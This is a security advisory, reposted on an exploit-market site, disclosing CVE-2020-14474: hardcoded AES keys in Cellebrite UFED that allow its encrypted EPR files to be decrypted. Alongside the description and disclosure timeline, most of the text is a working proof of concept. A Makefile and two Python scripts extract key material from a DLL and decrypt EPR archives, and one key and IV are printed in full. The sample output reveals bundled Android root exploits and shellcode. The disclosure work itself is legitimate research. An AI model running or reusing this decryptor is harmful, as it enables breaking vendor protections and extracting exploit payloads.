[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Cellebrite EPR Decryption Hardcoded AES Key Material Vulnerability

Author
Matthew Bergin
Risk
[
Security Risk High
]
0day-ID
0day-ID-34619
Category
local exploits
Date add
30-06-2020
CVE
CVE-2020-14474
Platform
multiple
Title: Cellebrite EPR Decryption Relies on Hardcoded AES Key Material
Advisory ID: KL-001-2020-003
Publication Date: 2020.06.29
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2020-003.txt


1. Vulnerability Details

     Affected Vendor: Cellebrite
     Affected Product: UFED
     Affected Version: 5.0 - 7.5.0.845
     Platform: Embedded Windows
     CWE Classification: CWE-321: Hardcoded Use of Cryptography Keys
     CVE ID: CVE-2020-14474


2. Vulnerability Description

     The Cellebrite UFED Physical device relies on key material
     hardcoded within both the executable code supporting the
     decryption process and within the encrypted files themselves by
     using a key enveloping technique. The recovered key material
     is the same for every device running the same version of
     the software and does not appear to be changed with each new
     build. It is possible to reconstruct the decryption process
     using the hardcoded key material and obtain easy access to
     otherwise protected data.


3. Technical Description

     A recursive listing of my standalone decryptor directory:

       $ find .
       .
       ./decrypt-epr
       ./input
       ./input/DLLs
       ./input/DLLs/731
       ./input/DLLs/731/FileUnpacking.dll
       ./input/EPRs
       ./input/EPRs/731
       ./input/EPRs/731/Android.zip.epr
       ./output
       ./output/EPRs
       ./output/EPRs/731
       ./extract-keys
       ./Makefile

     (See the Proof of Concept section for relevant code snippets.)

     First, we start by running the extract-keys script on the
     relevant FileUnpacking.dll file. The provided Makefile will
     automatically output the relevant key material to the same
     directory where the DLL resides.

       $ make keys
       Extracting AES keys from input/DLLs/731/FileUnpacking.dll
       64+0 records in
       64+0 records out
       64 bytes copied, 0.000186032 s, 344 kB/s
       32+0 records in
       32+0 records out
       32 bytes copied, 0.000116104 s, 276 kB/s
       636+0 records in
       636+0 records out
       636 bytes copied, 0.00140342 s, 453 kB/s
       Finished

     The extract-keys script contains a nested JSON-object and
     iterates over the bytes of the file provided creating a SHA256
     hash for each DWORD. The calculated hash is compared against
     known matches and when found the script will automatically
     extract the bytes relevant.

     Now a selected EPR file may be decrypted. A good example is the
     Android.zip.epr file, which contains a set of local privilege
     escalation exploits.

       $ ./decrypt-epr --verbose --file input/EPRs/731/Android.zip.epr
       [+] The EPR file specified exists.
       [+] The specified EPR file has been read into memory.
       [-] Decrypter setup with key 1 for version 3
       [+] Round one of the EPR decryption completed successfully.
       [-] Calculated that the flag will be: [REDACTED]
       [+] The SHA256 key flag has been calculated.
       [-] Found the flag: [REDACTED]
       [+] The SHA256 key flag has been found.
       [-] Decrypter setup with key 2 for version 3
       [+] Round two of the EPR decryption completed successfully. Obtained the final AES key and IV.
       [-] AES Key: [REDACTED], IV: [REDACTED]
       [-] Decrypter setup with key 3 for version 3
       [-] Finished decrypting all blocks.
       [-] Writing bytes to: input/EPRs/731/Android.zip.epr.broken
       [-] Wrote 2552640 bytes to a broken file.
       [+] Round three of the EPR decryption completed successfully. The encrypted zip archive has been decrypted.
       [-] Running: zip -FF input/EPRs/731/Android.zip.epr.broken --out input/EPRs/731/Android.zip.epr.zip > /dev/null 2>&1
       [-] Removing the broken file.
       [+] Decrypted file available at output/EPRs/731/Android.zip.epr.zip
       [+] done.

     The decrypted file can then be unzipped.

       $ unzip Android.zip.epr.zip
       Archive:  Android.zip.epr.zip
         inflating: c2a_disable_selinux_32.ko
         inflating: c2a_disable_selinux_64.ko
         inflating: com.mr.meeseeks.apk
         inflating: daemonize
         inflating: dirtycow
         inflating: dirtycow_32
         inflating: DisableHuaweiLogging_2.1.5767a
         inflating: django_2.1.5767a
         inflating: EnableHuaweiLogging_2.1.5767a
         inflating: EnableSharpRead_2.1.5767a
         inflating: exploits_2.1.5769.csv
         inflating: forensics
         inflating: fourrunnerStatic_2.1.5767a
         inflating: gb_2.1.5767a
         inflating: nandd
         inflating: nandread-pie-vold
         inflating: nandread-pie_7182
         inflating: nandread64-pie-vold
         inflating: nandreadStatic_7182
         inflating: patcher.exe
         inflating: pingroot
         inflating: pingroot_vultest
         inflating: psneuter_2.1.5767a
         inflating: RecoveryImageMap.csv
         inflating: rootspotter.apk
         inflating: rootspot_verify_env
         inflating: rosecure_2.1.5767a
         inflating: setuid_2.1.5767a
         inflating: shellcode.bin
         inflating: shellcode_32_iptables.bin
         inflating: shellcode_32_oatdump.bin
         inflating: zergRush_2.1.5767a

     The encryption algorithm uses a software-only key enveloping
     technique where part of the key material is stored within
     executable code and part within a encrypted header inside of
     the encrypted file. The encrypted header is extracted from
     the encrypted file and decrypted using key material hardcoded
     within executable code.

     Some of the bytes decrypted then undergo a XOR operation to
     calculate the last DWORD of a SHA256 hash. Separately, a set
     of 254 bytes is iterated over using 64 bytes per iteration. A
     complete SHA256 hash is generated for each set of 64-bytes
     and the ending DWORD of this hash is then compared against
     the calculated DWORD.  If there is a match the bytes used to
     calculate the DWORD are the next set of key material.

     The decryption tool outputs the following match:

       [-] Calculated that the flag will be: [REDACTED]
       [+] The SHA256 key flag has been calculated.
       [-] Found the flag: [REDACTED]

     The last DWORD matches. In fact there are a total of eight
     possible intermediate keys that can be chosen from based on the
     bytes observed.

     A third and final key exists within each encrypted file
     header. This key is decrypted using the hardcoded intermediate
     key used for encrypted the selected file. From here bytes 0x80
     through the end of the file are decrypted in blocks of 0x10000.


4. Mitigation and Remediation Recommendation

     The vendor has informed KoreLogic that this vulnerability is
     not present on recent versions of the UFED devices. Cellebrite
     stated, "While the method described in the reports does not
     work on recent versions (we previously made multiple changes
     that broke it), the core key material was exposed and will be
     rotated effective immediately."


5. Credit

     This vulnerability was discovered by Matt Bergin (@thatguylevel)
     of KoreLogic, Inc.


6. Disclosure Timeline

     2020.04.02 - KoreLogic submits vulnerability details to
                  Cellebrite.
     2020.04.02 - Cellebrite acknowledges receipt and the intention
                  to investigate.
     2020.05.13 - KoreLogic requests an update on the status of the
                  vulnerability report.
     2020.05.14 - Cellebrite responds, notifying KoreLogic that the
                  technique is not applicable to newer UFED releases.
                  Requests time beyond the standard 45 business day
                  embargo to ensure all exposed keys have been changed.
     2020.06.09 - 45 business days have elapsed since the report was
                  submitted to Cellebrite.
     2020.06.12 - KoreLogic requests an update from Cellebrite.
     2020.06.14 - Cellebrite reports that affected key material has
                  been retired.
     2020.06.18 - CVE Requested.
     2020.06.19 - MITRE issues CVE-2020-14474.
     2020.06.29 - KoreLogic public disclosure.


7. Proof of Concept

     File Name: Makefile

       clean:
         for filepath in `find input/DLLs -type f -name '*.keys' -o -name '*.aes' -o -name '*.iv' -o -name '*.map' -o
-name '*.zip'`; do \
           rm -rf $$filepath ; \
         done

       keys:
         @for filepath in `find input/DLLs -type f -name '*.dll'` ; do \
           echo Extracting AES keys from $$filepath ; \
           ./extract-keys --file $$filepath > $$filepath.keys ; \
           if [ -f "$$filepath" ] ; then \
             dd bs=1 if=$$filepath.keys count=64 of=$$filepath.aes ; \
             dd bs=1 if=$$filepath.keys count=32 skip=64 of=$$filepath.iv ; \
             dd bs=1 if=$$filepath.keys skip=96 of=$$filepath.map ; \
           else \
             echo Could not find extract-keys output ; \
           fi \
         done ; \
         echo Finished

     Script Name: extract-keys

       #!/usr/bin/python
       from optparse import OptionParser
       from os.path import exists, basename
       from binascii import hexlify
       from hashlib import sha256
       from os import makedirs

       keyMap = {
         # UFED 5.1
         "Dump_MotGSM.dll":{
           "offsets":{
             "aes":{
               "key":"0e282e124bb8af53357f7e8cb3460a23c94def3fe4f181a57c9fcba3f5f7f054",       # Key and IV already
public information
               "iv":"888c609edc9eb9dfb4d30dfebc9f0431"                                         #
https://github.com/cellebrited/cellebrite
               }
           }
         },
         # UFED 7.3
         "FileUnpacking.dll":[
           {
             "offsets":{
               "aes":{
                 "keySize":32,
                 "keyHash":"[REDACTED]",  # sha256 hash of first dword
                 "ivSize":16,
                 "ivHash":"[REDACTED]"    # sha256 hash of first dword
                 },
               "mapSize":256,
               "mapHash":"[REDACTED]"     # sha256 hash of first dword
             }
           }
         ]
       }

       if __name__ == "__main__":
         parser = OptionParser()
         parser.add_option("--file",dest="file",default='',help="Decryptor DLL")
         o,a = parser.parse_args()
         if (exists(o.file) != True):
           print "[!] The specified file does not exist"
           exit(1)
         try:
           with open(o.file,'rb') as fp:
             fileData = fp.read()
           print "[-] Read {} bytes.".format(len(fileData))
           if (isinstance(keyMap[basename(o.file)], str)):
             if ("Dump_MotGSM.dll" == basename(o.file)):
               print keyMap[basename(o.file)]["offsets"]["aes"]["key"] + keyMap[basename(o.file)]["offsets"]["aes"]["iv"]
           else:
             foundKey, foundIV, foundMap = False, False, False
             for i in xrange(0, len(keyMap[basename(o.file)])):
               for pos in xrange(0,len(fileData)):
                 nextDWORD = hexlify(fileData[pos:pos+4])
                 if (sha256(nextDWORD).hexdigest() == keyMap[basename(o.file)][i]["offsets"]["aes"]["keyHash"] and not
foundKey):
                   foundKey = True
                   aesKey = hexlify(fileData[pos:pos+32])
                   print "[+] Found key at {}. Value: {}".format(hex(pos),aesKey)
                 if (sha256(nextDWORD).hexdigest() == keyMap[basename(o.file)][i]["offsets"]["aes"]["ivHash"] and not
foundIV):
                   foundIV = True
                   aesIV = hexlify(fileData[pos:pos+16])
                   print "[+] Found IV at {}. Value: {}".format(hex(pos),aesIV)
                 if (sha256(nextDWORD).hexdigest() == keyMap[basename(o.file)][i]["offsets"]["mapHash"] and not foundMap):
                   foundMap = True
                   aesMap = hexlify(fileData[pos:pos+keyMap[basename(o.file)][i]["offsets"]["mapSize"]])
                   print "[+] Found map at {}. Value: {}".format(hex(pos),aesMap)
                 if (foundKey and foundIV and foundMap):
                   break
                 pos+=1
         except Exception as e:
             print "[!] Could not read the specified file. Reason: {}".format(e)
         exit(0)

     Script Name: decrypt-epr

       #!/usr/bin/python
       from logging.handlers import TimedRotatingFileHandler
       from optparse import OptionParser
       from os.path import exists, getsize, dirname, realpath
       from os.path import join as path_join
       from os import system, remove
       from shutil import move
       from Crypto.Cipher import AES
       from binascii import unhexlify, hexlify
       from hashlib import sha256
       import sys
       import logging
       
       logging.basicConfig(
         format="%(asctime)s [%(levelname)s] %(message)s",
         level=logging.INFO,
         handlers=[
           TimedRotatingFileHandler(
             path_join(
               dirname(realpath(__file__)),
               "logger.log",
             ),
             interval=1,
           ),
           logging.StreamHandler(sys.stdout),
         ],
       )
       logger = logging.getLogger(__name__)
       
       bs = AES.block_size
       pad = lambda s: s + (bs - len(s) % bs) * chr(bs - len(s) % bs)
       
       class EPR:
         def __init__(self, file, version, verbose):
           self.epr_v1_aes_key = "0e282e124bb8af53357f7e8cb3460a23c94def3fe4f181a57c9fcba3f5f7f054" # Already public
information
           self.epr_v1_aes_iv = "888c609edc9eb9dfb4d30dfebc9f0431"                                  # Already public
information
           self.epr_v2_aes_key = "[REDACTED]"
           self.epr_v2_aes_iv = "[REDACTED]"
           self.epr_v3_aes_key = self.epr_v2_aes_key
           self.epr_v3_aes_iv = self.epr_v2_aes_iv
           self.epr_v2_aes_map = "[REDACTED]"
           self.epr_v3_aes_map = "[REDACTED]"
           self.epr_v3_aes_iv_two = None
           self.file = file or False
           self.version = version
           self.encrypted_file = None
           self.encrypted_epr = None
           self.encrypted_magic = None
           self.decrypted_epr = None
           self.final_epr = b''
           self.logging = verbose
         def file_exists(self):
           if not self.file:
             return False
           return exists(self.file)
         def can_read_file(self):
           return getsize(self.file)
         def read_entire_file(self):
           try:
             fp = open(self.file,'rb')
             self.encrypted_file = fp.read()
             fp.close()
           except Exception as e:
             logger.error("[!] Encountered an exception. Reason: {}".format(e))
             return False
           return True
         def flat_decrypt(self):
           self.encrypted_magic = self.encrypted_file[:21]
           if (self.encrypted_magic[:-2] == "Cellebrite EPR File"):
             self.encrypted_epr = self.encrypted_file[21:]
             if self.version == 1:
               crypter = AES.new(unhexlify(self.epr_v1_aes_key),AES.MODE_CBC,unhexlify(self.epr_v1_aes_iv))
               if self.logging: logger.info("[-] Decrypter setup with key 1 for version {}".format(self.version))
             else:
               crypter = AES.new(unhexlify(self.epr_v3_aes_key),AES.MODE_CBC,unhexlify(self.epr_v3_aes_iv))
               if self.logging: logger.info("[-] Decrypter setup with key 1 for version {}".format(self.version))
             try:
               self.decrypted_epr = crypter.decrypt(self.encrypted_epr)
               if self.version == 2:
                 self.epr_v2_aes_iv_two = hexlify(self.decrypted_epr[32:48])
               elif self.version == 3:
                 self.epr_v3_aes_iv_two = hexlify(self.decrypted_epr[32:48])
               else:
                 pass
             except Exception as e:
               logger.error("[!] Encountered an exception. Reason: {}".format(e))
               return False
             return True
           return False
         def calc_sha256_dword(self):
           try:
             to_xor_a = hexlify(self.decrypted_epr[24:28])
             to_xor_a = [to_xor_a[i:i+2] for i in range(0, len(to_xor_a), 2)]
             to_xor_b = hexlify(self.decrypted_epr[28:32])
             to_xor_b = [to_xor_b[i:i+2] for i in range(0, len(to_xor_b), 2)]
             xored_1 = int(to_xor_a[-1],16) ^ int(to_xor_b[-1],16)
             xored_1 = "{0:0{1}x}".format(xored_1,2)
             xored_2 = int(to_xor_a[-2],16) ^ int(to_xor_b[-2],16)
             xored_2 = "{0:0{1}x}".format(xored_2,2)
             xored_3 = int(to_xor_a[-3],16) ^ int(to_xor_b[-3],16)
             xored_3 = "{0:0{1}x}".format(xored_3,2)
             xored_4 = int(to_xor_a[-4],16) ^ int(to_xor_b[-4],16)
             xored_4 = "{0:0{1}x}".format(xored_4,2)
             if (self.version == 2):
               self.epr_v2_sha256_flag = str(xored_4) + str(xored_3) + str(xored_2) + str(xored_1)
               if self.logging: logger.info("[-] Calculated that the flag will be: {}".format(self.epr_v2_sha256_flag))
             else:
               self.epr_v3_sha256_flag = str(xored_4) + str(xored_3) + str(xored_2) + str(xored_1)
               if self.logging: logger.info("[-] Calculated that the flag will be: {}".format(self.epr_v3_sha256_flag))
           except Exception as e:
             logger.error("[!] Encountered an exception. Reason: {}".format(e))
             return False
           return True
         def key_map_check(self):
           found = False
           if (self.version == 2):
             for i in range(0, len(self.epr_v2_aes_map), 64):
               hash = sha256(unhexlify(self.epr_v2_aes_map[i:i+64])).hexdigest()
               if (hash.endswith(self.epr_v2_sha256_flag)):
                 if self.logging: logger.info("[-] Found the flag: {}".format(self.epr_v2_sha256_flag))
                 found = True
                 self.epr_v2_aes_key_two = self.epr_v2_aes_map[i:i+64]
           else:
             for i in range(0, len(self.epr_v3_aes_map), 64):
               hash = sha256(unhexlify(self.epr_v3_aes_map[i:i+64])).hexdigest()
               if (hash.endswith(self.epr_v3_sha256_flag)):
                 if self.logging: logger.info("[-] Found the flag: {}".format(self.epr_v3_sha256_flag))
                 found = True
                 self.epr_v3_aes_key_two = self.epr_v3_aes_map[i:i+64]
           return found
         def decrypt_key(self):
           try:
             if (self.version == 2):
               crypter = AES.new(unhexlify(self.epr_v2_aes_key_two),AES.MODE_CBC,unhexlify(self.epr_v2_aes_iv_two))
               if self.logging: logger.info("[-] Decrypter setup with key 2 for version {}".format(self.version))
               self.epr_v2_aes_key_three = hexlify(crypter.decrypt(self.decrypted_epr[48:80]))
               self.epr_v2_aes_iv_three = hexlify(self.decrypted_epr[112:128])
             else:
               crypter = AES.new(unhexlify(self.epr_v3_aes_key_two),AES.MODE_CBC,unhexlify(self.epr_v3_aes_iv_two))
               if self.logging: logger.info("[-] Decrypter setup with key 2 for version {}".format(self.version))
               self.epr_v3_aes_key_three = hexlify(crypter.decrypt(self.decrypted_epr[48:80]))
               self.epr_v3_aes_iv_three = hexlify(self.decrypted_epr[112:128])
           except Exception as e:
             logger.error("[!] Encountered an exception. Reason: {}".format(e))
             return False
           return True
         def decrypt_epr(self):
           if (self.version == 2):
             crypter = AES.new(unhexlify(self.epr_v2_aes_key_three),AES.MODE_CBC,unhexlify(self.epr_v2_aes_iv_three))
             if self.logging: logger.info("[-] AES Key: {}, IV:
{}".format(self.epr_v2_aes_key_three,self.epr_v2_aes_iv_three))
           else:
             crypter = AES.new(unhexlify(self.epr_v3_aes_key_three),AES.MODE_CBC,unhexlify(self.epr_v3_aes_iv_three))
             if self.logging: logger.info("[-] AES Key: {}, IV:
{}".format(self.epr_v3_aes_key_three,self.epr_v3_aes_iv_three))
           if self.logging: logger.info("[-] Decrypter setup with key 3 for version {}".format(self.version))
           self.encrypted_epr = self.encrypted_epr[128:]
           for pos in range(0, len(self.encrypted_epr), 65536):
             decryptPart = self.encrypted_epr[pos:pos+65536]
             try:
               self.final_epr+=crypter.decrypt(decryptPart)
             except ValueError as e:
               self.final_epr+=crypter.decrypt(pad(decryptPart))
           if self.logging: logger.info("[-] Finished decrypting all blocks.")
           try:
             if self.logging: logger.info("[-] Writing bytes to: {}.broken".format(self.file))
             fp = open("{}.broken".format(self.file),"wb")
             fp.write(self.final_epr)
             fp.close()
             if self.logging: logger.info("[-] Wrote {} bytes to a broken file.".format(len(self.final_epr)))
           except Exception as e:
             logger.error("[!] Encountered an exception. Reason: {}".format(e))
             return False
           return True
         def zip_FF(self):
           if self.logging: logger.info("[-] Running: zip -FF {}.broken --out {}.zip > /dev/null
2>&1".format(self.file,self.file))
           system("zip -FF {}.broken --out {}.zip > /dev/null 2>&1".format(self.file,self.file))
           return True
         def finish(self):
           if self.logging: logger.info("[-] Removing the broken file.")
           remove("{}.broken".format(self.file))
           move("{}.zip".format(self.file),"{}.zip".format(self.file.replace("input","output")))
           logger.info("[+] Decrypted file available at {}.zip".format(self.file.replace("input","output")))
           return True
       
       def main():
         parser = OptionParser()
         parser.add_option("--file",dest="file",default=False,help="EPR File Path")
         parser.add_option("--version",dest="version",choices=(str(1),str(2),str(3)),default=str(3),help="EPR Version")
         parser.add_option("--verbose",dest="verbose",action="store_true",help="Enable verbose mode")
         o,a = parser.parse_args()
         o.version = int(o.version)
         epr = EPR(o.file,o.version,o.verbose)
       
         if not epr.file_exists():
           logger.info("[!] Unable to find the encrypted EPR file specified.")
           return False
         logger.info("[+] The EPR file specified exists.")
         if not epr.can_read_file():
           logger.info("[!] Unable to open a file object to the encrypted EPR file.")
           return False
         if not epr.read_entire_file():
           logger.info("[!] Unable to read the encrypted EPR file.")
           return False
         logger.info("[+] The specified EPR file has been read into memory.")
         logger.info("[+] Using the version {} decryption process.".format(o.version))
         if not epr.flat_decrypt():
           logger.info("[!] Unable to run the initial decryption round.")
           return False
         logger.info("[+] Round one of the EPR decryption completed successfully.")
         if not epr.calc_sha256_dword():
           logger.info("[!] Unable to calculate the SHA256 key flag.")
           return False
         if o.verbose: logger.info("[+] The SHA256 key flag has been calculated.")
         if not epr.key_map_check():
           logger.info("[!] Unable to find a AES key match.")
           return False
         if o.verbose: logger.info("[+] The SHA256 key flag has been found.")
         if not epr.decrypt_key():
           logger.info("[!] Could not decrypt the final AES key.")
           return False
         logger.info("[+] Round two of the EPR decryption completed successfully. Obtained the final AES key and IV.")
         if not epr.decrypt_epr():
           logger.info("[!] Unable to decrypt the EPR file.")
           return False
         logger.info("[+] Round three of the EPR decryption completed successfully. The encrypted zip archive has been
decrypted.")
         if not epr.zip_FF():
           logger.info("[!] Could not clean up garbage.")
           return False
         return True
       
       if __name__ == "__main__":
         success = main()
         if success:
           logger.info("[+] done")
         else:
           logger.info("[!] failed")
         exit(success)

#  0day.today [2024-12-25]  #